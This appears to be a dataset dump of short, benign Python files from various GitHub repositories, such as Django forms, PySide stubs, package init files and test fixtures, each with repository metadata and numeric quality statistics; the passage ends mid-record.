| 329
| 15
| 94
| 21.933333
| 0.671141
| 0.620061
| 0
| 0
| 0
| 0
| 0.353448
| 0.224138
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
c0cba9ce036dc0476c55f46eb04db1d49d02b0f2
| 49
|
py
|
Python
|
neurodocker/interfaces/tests/test_matlabmcr.py
|
AndysWorth/neurodocker
|
b4e5f470e5b883bd4aa8a3f20a0dde197b79b8dc
|
[
"Apache-2.0"
] | null | null | null |
neurodocker/interfaces/tests/test_matlabmcr.py
|
AndysWorth/neurodocker
|
b4e5f470e5b883bd4aa8a3f20a0dde197b79b8dc
|
[
"Apache-2.0"
] | null | null | null |
neurodocker/interfaces/tests/test_matlabmcr.py
|
AndysWorth/neurodocker
|
b4e5f470e5b883bd4aa8a3f20a0dde197b79b8dc
|
[
"Apache-2.0"
] | null | null | null |
"""Tests for neurodocker.interfaces.MatlabMCR"""
| 24.5
| 48
| 0.77551
| 5
| 49
| 7.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.061224
| 49
| 1
| 49
| 49
| 0.826087
| 0.857143
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
8d099fddd21e2b2b1307e30a689bf9435f844fe5
| 152
|
py
|
Python
|
tests/data/src/requires_requires_capitalized/setup.py
|
rogerhil/pip
|
7616583dbb2dcbda5a19d78873642d6751fbf017
|
[
"MIT"
] | 7,089
|
2015-01-01T10:48:04.000Z
|
2022-03-31T08:47:02.000Z
|
tests/data/src/requires_requires_capitalized/setup.py
|
rogerhil/pip
|
7616583dbb2dcbda5a19d78873642d6751fbf017
|
[
"MIT"
] | 8,417
|
2015-01-01T13:03:16.000Z
|
2022-03-31T17:40:27.000Z
|
tests/data/src/requires_requires_capitalized/setup.py
|
rogerhil/pip
|
7616583dbb2dcbda5a19d78873642d6751fbf017
|
[
"MIT"
] | 2,663
|
2015-01-02T04:02:12.000Z
|
2022-03-30T02:30:46.000Z
|
from setuptools import setup
setup(
name="requires_requires_capitalized",
version="1.0",
install_requires=["requires_Capitalized==0.1"],
)
| 19
| 51
| 0.723684
| 18
| 152
| 5.888889
| 0.611111
| 0.301887
| 0.509434
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030769
| 0.144737
| 152
| 7
| 52
| 21.714286
| 0.784615
| 0
| 0
| 0
| 0
| 0
| 0.375
| 0.355263
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.166667
| 0
| 0.166667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
23967b51b60ef8a54216d410a78612a335d4ce1b
| 63
|
py
|
Python
|
files/catkin_ws/devel/lib/python2.7/dist-packages/hector_mapping/msg/__init__.py
|
Filipe-Douglas-Slam/slam_lidar_kinect
|
4ac2c9555f939ba3bc3e97314eb611bdd9df5f27
|
[
"MIT"
] | 10
|
2021-03-15T03:58:06.000Z
|
2021-12-30T15:33:38.000Z
|
files/catkin_ws/devel/lib/python2.7/dist-packages/hector_mapping/msg/__init__.py
|
Filipe-Douglas-Slam/slam_lidar_kinect
|
4ac2c9555f939ba3bc3e97314eb611bdd9df5f27
|
[
"MIT"
] | 1
|
2021-09-09T15:29:31.000Z
|
2021-09-09T15:29:31.000Z
|
files/catkin_ws/devel/lib/python2.7/dist-packages/hector_mapping/msg/__init__.py
|
Filipe-Douglas-Slam/slam_lidar_kinect
|
4ac2c9555f939ba3bc3e97314eb611bdd9df5f27
|
[
"MIT"
] | 4
|
2021-03-06T09:35:58.000Z
|
2021-05-24T14:34:11.000Z
|
from ._HectorDebugInfo import *
from ._HectorIterData import *
| 21
| 31
| 0.809524
| 6
| 63
| 8.166667
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126984
| 63
| 2
| 32
| 31.5
| 0.890909
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
23cc7535f777727ae282a10bb34fab274b2872cf
| 77
|
py
|
Python
|
sample/django/secondapp/views.py
|
mohit-cyberstar/cricket
|
cfe08c4ea2419f3ac746eea23680dc1a7883eb22
|
[
"BSD-3-Clause"
] | 98
|
2015-05-28T10:41:52.000Z
|
2019-03-08T09:14:35.000Z
|
sample/django/secondapp/views.py
|
SujeetGautam/cricket
|
1476b597f499c1b9b34c9d21eeef0b4900892760
|
[
"BSD-3-Clause"
] | 33
|
2015-02-11T12:39:55.000Z
|
2019-03-29T23:23:00.000Z
|
sample/django/secondapp/views.py
|
SujeetGautam/cricket
|
1476b597f499c1b9b34c9d21eeef0b4900892760
|
[
"BSD-3-Clause"
] | 49
|
2015-03-25T05:55:14.000Z
|
2019-03-23T15:30:38.000Z
|
from django.shortcuts import render # NOQA; F401
# Create your views here.
| 19.25
| 49
| 0.753247
| 11
| 77
| 5.272727
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.047619
| 0.181818
| 77
| 3
| 50
| 25.666667
| 0.873016
| 0.441558
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9b0ace8604992a17f167819959462fb0626a48f8
| 41
|
py
|
Python
|
tests/services/syntax_error_service.py
|
0x1EE7/tomodachi
|
8147b16d8be19b80b3bd7c5d8ed21c9863eaaa83
|
[
"MIT"
] | 1
|
2021-11-01T02:18:55.000Z
|
2021-11-01T02:18:55.000Z
|
tests/services/syntax_error_service.py
|
0x1EE7/tomodachi
|
8147b16d8be19b80b3bd7c5d8ed21c9863eaaa83
|
[
"MIT"
] | 100
|
2021-04-21T10:00:09.000Z
|
2022-03-24T23:13:32.000Z
|
tests/services/syntax_error_service.py
|
0x1EE7/tomodachi
|
8147b16d8be19b80b3bd7c5d8ed21c9863eaaa83
|
[
"MIT"
] | 1
|
2020-09-04T05:53:16.000Z
|
2020-09-04T05:53:16.000Z
|
# flake8: noqa
import tomodachi. # noqa
| 13.666667
| 25
| 0.707317
| 5
| 41
| 5.8
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030303
| 0.195122
| 41
| 2
| 26
| 20.5
| 0.848485
| 0.414634
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 1
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
9b1e11f84be70144ad69821fcb3279b2772f05ca
| 1,550
|
py
|
Python
|
storyapp/forms.py
|
PySploit/soulines
|
f68bea6e2ba7a46328888bc3cc049b4d70084c03
|
[
"MIT"
] | null | null | null |
storyapp/forms.py
|
PySploit/soulines
|
f68bea6e2ba7a46328888bc3cc049b4d70084c03
|
[
"MIT"
] | null | null | null |
storyapp/forms.py
|
PySploit/soulines
|
f68bea6e2ba7a46328888bc3cc049b4d70084c03
|
[
"MIT"
] | null | null | null |
from django import forms
from ckeditor.fields import RichTextField
from .models import Category, Post
class PostStoryForm(forms.ModelForm):
class Meta:
model = Post
fields = ('author', 'category', 'title', 'title_tag', 'header_image',
'image_source', 'body')
widgets = {
'author':forms.Select(attrs={'class':'form-control', 'placeholder':'username', 'value':'', 'id':'myauthor'}),
'title':forms.TextInput(attrs={'class':'form-control'}),
'title_tag':forms.TextInput(attrs={'class':'form-control'}),
'category':forms.TextInput(attrs={'class':'form-control'}),
'image_source':forms.TextInput(attrs={'class':'form-control', 'placeholder':'If not personal image, enter url or site downloaded from'}),
'body':forms.Textarea(attrs={'class':'form-control'}),
# 'date_created':forms.DateTimeField(attrs={'class':'form-control'}),
# 'date_updated':forms.DateTimeField(attrs={'class':'form-control'}),
}
class EditStoryForm(forms.ModelForm):
class Meta:
model = Post
fields = ('category', 'title', 'title_tag', 'header_image', 'image_source',
'body')
widgets = {
'title':forms.TextInput(attrs={'class':'form-control'}),
'title_tag':forms.TextInput(attrs={'class':'form-control'}),
'category':forms.TextInput(attrs={'class':'form-control'}),
'body':forms.Textarea(attrs={'class':'form-control'}),
# 'date_created':forms.DateTimeField(attrs={'class':'form-control'}),
# 'date_updated':forms.DateTimeField(attrs={'class':'form-control'}),
}
| 36.046512
| 141
| 0.663226
| 174
| 1,550
| 5.833333
| 0.270115
| 0.137931
| 0.193103
| 0.289655
| 0.778325
| 0.735961
| 0.701478
| 0.626601
| 0.626601
| 0.626601
| 0
| 0
| 0.132258
| 1,550
| 43
| 142
| 36.046512
| 0.754647
| 0.174839
| 0
| 0.518519
| 0
| 0
| 0.36253
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.111111
| 0
| 0.259259
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
f1e4e40621f125f99326b09d2388689985c0d931
| 96
|
py
|
Python
|
venv/lib/python3.8/site-packages/poetry/core/_vendor/lark/visitors.py
|
GiulianaPola/select_repeats
|
17a0d053d4f874e42cf654dd142168c2ec8fbd11
|
[
"MIT"
] | 2
|
2022-03-13T01:58:52.000Z
|
2022-03-31T06:07:54.000Z
|
venv/lib/python3.8/site-packages/poetry/core/_vendor/lark/visitors.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | 19
|
2021-11-20T04:09:18.000Z
|
2022-03-23T15:05:55.000Z
|
venv/lib/python3.8/site-packages/poetry/core/_vendor/lark/visitors.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | null | null | null |
/home/runner/.cache/pip/pool/b6/d9/0f/a1210c6afcc80b0f7c9cac44db8fa44752af80bd69bc17f75ce709553a
| 96
| 96
| 0.895833
| 9
| 96
| 9.555556
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.364583
| 0
| 96
| 1
| 96
| 96
| 0.53125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
f1eeb352a6f0afdb78fdfbb18bc9563dc57dfc02
| 1,746
|
py
|
Python
|
resources/dot_PyCharm/system/python_stubs/-762174762/PySide/QtGui/QRubberBand.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | 1
|
2020-04-20T02:27:20.000Z
|
2020-04-20T02:27:20.000Z
|
resources/dot_PyCharm/system/python_stubs/cache/8cdc475d469a13122bc4bc6c3ac1c215d93d5f120f5cc1ef33a8f3088ee54d8e/PySide/QtGui/QRubberBand.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | null | null | null |
resources/dot_PyCharm/system/python_stubs/cache/8cdc475d469a13122bc4bc6c3ac1c215d93d5f120f5cc1ef33a8f3088ee54d8e/PySide/QtGui/QRubberBand.py
|
basepipe/developer_onboarding
|
05b6a776f8974c89517868131b201f11c6c2a5ad
|
[
"MIT"
] | null | null | null |
# encoding: utf-8
# module PySide.QtGui
# from C:\Python27\lib\site-packages\PySide\QtGui.pyd
# by generator 1.147
# no doc
# imports
import PySide.QtCore as __PySide_QtCore
import Shiboken as __Shiboken
from QWidget import QWidget
class QRubberBand(QWidget):
# no doc
def changeEvent(self, *args, **kwargs): # real signature unknown
pass
def event(self, *args, **kwargs): # real signature unknown
pass
def initStyleOption(self, *args, **kwargs): # real signature unknown
pass
def move(self, *args, **kwargs): # real signature unknown
pass
def moveEvent(self, *args, **kwargs): # real signature unknown
pass
def paintEvent(self, *args, **kwargs): # real signature unknown
pass
def resize(self, *args, **kwargs): # real signature unknown
pass
def resizeEvent(self, *args, **kwargs): # real signature unknown
pass
def setGeometry(self, *args, **kwargs): # real signature unknown
pass
def shape(self, *args, **kwargs): # real signature unknown
pass
def showEvent(self, *args, **kwargs): # real signature unknown
pass
def __init__(self, *args, **kwargs): # real signature unknown
pass
@staticmethod # known case of __new__
def __new__(S, *more): # real signature unknown; restored from __doc__
""" T.__new__(S, ...) -> a new object with type S, a subtype of T """
pass
Line = PySide.QtGui.QRubberBand.Shape.Line
Rectangle = PySide.QtGui.QRubberBand.Shape.Rectangle
Shape = None # (!) real value is "<type 'PySide.QtGui.QRubberBand.Shape'>"
staticMetaObject = None # (!) real value is '<PySide.QtCore.QMetaObject object at 0x0000000004C01A48>'
| 27.714286
| 106
| 0.655785
| 211
| 1,746
| 5.308057
| 0.331754
| 0.150893
| 0.232143
| 0.192857
| 0.436607
| 0.436607
| 0.436607
| 0.402679
| 0
| 0
| 0
| 0.016467
| 0.234822
| 1,746
| 62
| 107
| 28.16129
| 0.821856
| 0.385452
| 0
| 0.371429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.371429
| false
| 0.371429
| 0.085714
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 5
|
7b10de08fd76bca4d05e9722be69485c0d76c4db
| 64
|
py
|
Python
|
xai_court/dataset_readers/__init__.py
|
michaeljneely/court-of-xai
|
37eded49f46b3a05ad56986c1a9bb22eee3ac4b1
|
[
"MIT"
] | 4
|
2021-05-07T09:40:11.000Z
|
2022-03-27T18:19:07.000Z
|
xai_court/dataset_readers/__init__.py
|
michaeljneely/court-of-xai
|
37eded49f46b3a05ad56986c1a9bb22eee3ac4b1
|
[
"MIT"
] | 1
|
2021-05-10T09:31:05.000Z
|
2021-05-10T09:31:05.000Z
|
xai_court/dataset_readers/__init__.py
|
michaeljneely/court-of-xai
|
37eded49f46b3a05ad56986c1a9bb22eee3ac4b1
|
[
"MIT"
] | 1
|
2021-06-06T18:45:39.000Z
|
2021-06-06T18:45:39.000Z
|
from xai_court.dataset_readers.imdb import ImdbCsvDatasetReader
| 32
| 63
| 0.90625
| 8
| 64
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 64
| 1
| 64
| 64
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9e3c077b05b4398a8f589e5275cb2cdf5f38a1ff
| 85
|
py
|
Python
|
module/hidden.py
|
RIRINTO/-python3-KMS_Discord_Bot
|
84cad6ef5307bf778e2916d6a6be8f616be9e2df
|
[
"MIT"
] | 4
|
2020-09-29T13:23:30.000Z
|
2021-12-06T12:47:10.000Z
|
module/hidden.py
|
RIRINTO/-python3-KMS_Discord_Bot
|
84cad6ef5307bf778e2916d6a6be8f616be9e2df
|
[
"MIT"
] | 1
|
2020-04-16T05:27:12.000Z
|
2020-04-16T05:27:12.000Z
|
module/hidden.py
|
RIRINTO/-python3-KMS_Discord_Bot
|
84cad6ef5307bf778e2916d6a6be8f616be9e2df
|
[
"MIT"
] | 2
|
2020-01-13T14:57:38.000Z
|
2020-09-29T13:23:34.000Z
|
def server_url():
server_url = "https://ririnto.github.io"
return server_url
| 21.25
| 44
| 0.694118
| 12
| 85
| 4.666667
| 0.666667
| 0.482143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176471
| 85
| 3
| 45
| 28.333333
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0.294118
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
9e794bba9ef679fb8889df55bbd18e43ba6f1e75
| 125
|
py
|
Python
|
src/wigo.statusapp/wigo/statusapp/interfaces.py
|
ade25/wigo
|
9c448bc6bd7a07c50cb8ae8c687c44ca3be04bd3
|
[
"MIT"
] | null | null | null |
src/wigo.statusapp/wigo/statusapp/interfaces.py
|
ade25/wigo
|
9c448bc6bd7a07c50cb8ae8c687c44ca3be04bd3
|
[
"MIT"
] | 1
|
2015-10-30T21:20:16.000Z
|
2015-10-30T21:20:16.000Z
|
src/wigo.statusapp/wigo/statusapp/interfaces.py
|
ade25/wigo
|
9c448bc6bd7a07c50cb8ae8c687c44ca3be04bd3
|
[
"MIT"
] | null | null | null |
from zope.interface import Interface
class IStatusApp(Interface):
""" A marker inteface for a specific theme layer """
| 20.833333
| 56
| 0.744
| 16
| 125
| 5.8125
| 0.8125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176
| 125
| 5
| 57
| 25
| 0.902913
| 0.352
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
7b4db2ac40cb03cfcfb31b94f570889935c2ded9
| 119
|
py
|
Python
|
http_hooks/__init__.py
|
FlorisHoogenboom/airflow-http-hooks
|
43c5b2c15359173a6de91db64cc381163ff0b97d
|
[
"MIT"
] | 2
|
2018-05-09T19:58:48.000Z
|
2021-03-15T10:57:50.000Z
|
http_hooks/__init__.py
|
FlorisHoogenboom/airflow-http-hooks
|
43c5b2c15359173a6de91db64cc381163ff0b97d
|
[
"MIT"
] | null | null | null |
http_hooks/__init__.py
|
FlorisHoogenboom/airflow-http-hooks
|
43c5b2c15359173a6de91db64cc381163ff0b97d
|
[
"MIT"
] | null | null | null |
from http_hooks.extended_http_hook import ExtendedHttpHook
from http_hooks.paginated_http_hook import PaginatedHttpHook
| 59.5
| 60
| 0.92437
| 16
| 119
| 6.5
| 0.5625
| 0.153846
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058824
| 119
| 2
| 60
| 59.5
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
7b97a8d1c0e251b6512f941d662780ef9e1f41a2
| 131
|
py
|
Python
|
how-to-use-azureml/work-with-data/dataprep/data/map_func.py
|
jeff-shepherd/MachineLearningNotebooks
|
fdc3fe2a53eefc6e0557129622ad384a3e0bb525
|
[
"MIT"
] | 3
|
2020-08-04T18:37:21.000Z
|
2020-09-21T20:09:31.000Z
|
how-to-use-azureml/work-with-data/dataprep/data/map_func.py
|
jeff-shepherd/MachineLearningNotebooks
|
fdc3fe2a53eefc6e0557129622ad384a3e0bb525
|
[
"MIT"
] | null | null | null |
how-to-use-azureml/work-with-data/dataprep/data/map_func.py
|
jeff-shepherd/MachineLearningNotebooks
|
fdc3fe2a53eefc6e0557129622ad384a3e0bb525
|
[
"MIT"
] | 3
|
2020-07-14T21:33:01.000Z
|
2021-05-20T17:27:48.000Z
|
def transform(df, index):
df['Latitude'].fillna('0', inplace=True)
df['Longitude'].fillna('0', inplace=True)
return df
| 26.2
| 45
| 0.641221
| 18
| 131
| 4.666667
| 0.611111
| 0.166667
| 0.333333
| 0.428571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.018182
| 0.160305
| 131
| 4
| 46
| 32.75
| 0.745455
| 0
| 0
| 0
| 0
| 0
| 0.145038
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
7b9dcb29453e2ba317b160934479cabb2fbb81ee
| 69
|
py
|
Python
|
algolia_places/__init__.py
|
cdcrft/algolia-places-python
|
a7f47eba6740ffb9687d3b4e6260e36502824f6e
|
[
"MIT"
] | 2
|
2019-05-14T13:52:25.000Z
|
2019-12-19T16:56:16.000Z
|
algolia_places/__init__.py
|
cdcrft/algolia-places-python
|
a7f47eba6740ffb9687d3b4e6260e36502824f6e
|
[
"MIT"
] | 2
|
2020-06-15T12:48:42.000Z
|
2020-11-12T21:10:47.000Z
|
algolia_places/__init__.py
|
cdcrft/algolia-places-python
|
a7f47eba6740ffb9687d3b4e6260e36502824f6e
|
[
"MIT"
] | 1
|
2020-06-12T07:44:02.000Z
|
2020-06-12T07:44:02.000Z
|
"""Algolia places module."""
from .client import AlgoliaPlacesClient
| 23
| 39
| 0.782609
| 7
| 69
| 7.714286
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101449
| 69
| 2
| 40
| 34.5
| 0.870968
| 0.318841
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
c86cdc570d2e2dfe334ca0c1fcc94918e17ac99c
| 89
|
py
|
Python
|
capture_video/models.py
|
sourabmaity/MaskDetection
|
5c59aa6c8c7abc59d9e82f1648b3b2f2e10ad3de
|
[
"MIT"
] | null | null | null |
capture_video/models.py
|
sourabmaity/MaskDetection
|
5c59aa6c8c7abc59d9e82f1648b3b2f2e10ad3de
|
[
"MIT"
] | null | null | null |
capture_video/models.py
|
sourabmaity/MaskDetection
|
5c59aa6c8c7abc59d9e82f1648b3b2f2e10ad3de
|
[
"MIT"
] | null | null | null |
from django.db import models
# Create your models here.
# pip freeze > requirements.txt
| 17.8
| 31
| 0.764045
| 13
| 89
| 5.230769
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.168539
| 89
| 4
| 32
| 22.25
| 0.918919
| 0.606742
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
cdbe7f2e08829816fd217399ae4c6e96da8b62d6
| 43
|
py
|
Python
|
mdb/__init__.py
|
congnghia0609/ntc-pjapronto
|
91ad87bb7d74ff4dbc2e1ec23ec0d78386528554
|
[
"Apache-2.0"
] | 1
|
2021-01-12T18:01:01.000Z
|
2021-01-12T18:01:01.000Z
|
mdb/__init__.py
|
congnghia0609/ntc-pjapronto
|
91ad87bb7d74ff4dbc2e1ec23ec0d78386528554
|
[
"Apache-2.0"
] | null | null | null |
mdb/__init__.py
|
congnghia0609/ntc-pjapronto
|
91ad87bb7d74ff4dbc2e1ec23ec0d78386528554
|
[
"Apache-2.0"
] | null | null | null |
"""
@author nghiatc
@since 06/01/2021
"""
| 7.166667
| 17
| 0.604651
| 6
| 43
| 4.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.222222
| 0.162791
| 43
| 5
| 18
| 8.6
| 0.5
| 0.767442
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
cdc817dc7e5e6d6298a8629929b30bbbe06482cf
| 52
|
py
|
Python
|
repository/card_collection/__init__.py
|
12lol12lol12lol/user-service
|
16bdcdd9ae915b1a580a8f7bca2220f9980cce52
|
[
"MIT"
] | null | null | null |
repository/card_collection/__init__.py
|
12lol12lol12lol/user-service
|
16bdcdd9ae915b1a580a8f7bca2220f9980cce52
|
[
"MIT"
] | null | null | null |
repository/card_collection/__init__.py
|
12lol12lol12lol/user-service
|
16bdcdd9ae915b1a580a8f7bca2220f9980cce52
|
[
"MIT"
] | 1
|
2021-11-29T06:03:07.000Z
|
2021-11-29T06:03:07.000Z
|
from .card_collection_repo import CardCollectionRepo
| 52
| 52
| 0.923077
| 6
| 52
| 7.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057692
| 52
| 1
| 52
| 52
| 0.938776
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
cddf8acc1c706d51a8c9ff8926952db70630cb95
| 196
|
py
|
Python
|
T2API/admin.py
|
hackhb18-T2/api
|
c42be466492d07d6451ff3145985cd8cc0927257
|
[
"Apache-2.0"
] | null | null | null |
T2API/admin.py
|
hackhb18-T2/api
|
c42be466492d07d6451ff3145985cd8cc0927257
|
[
"Apache-2.0"
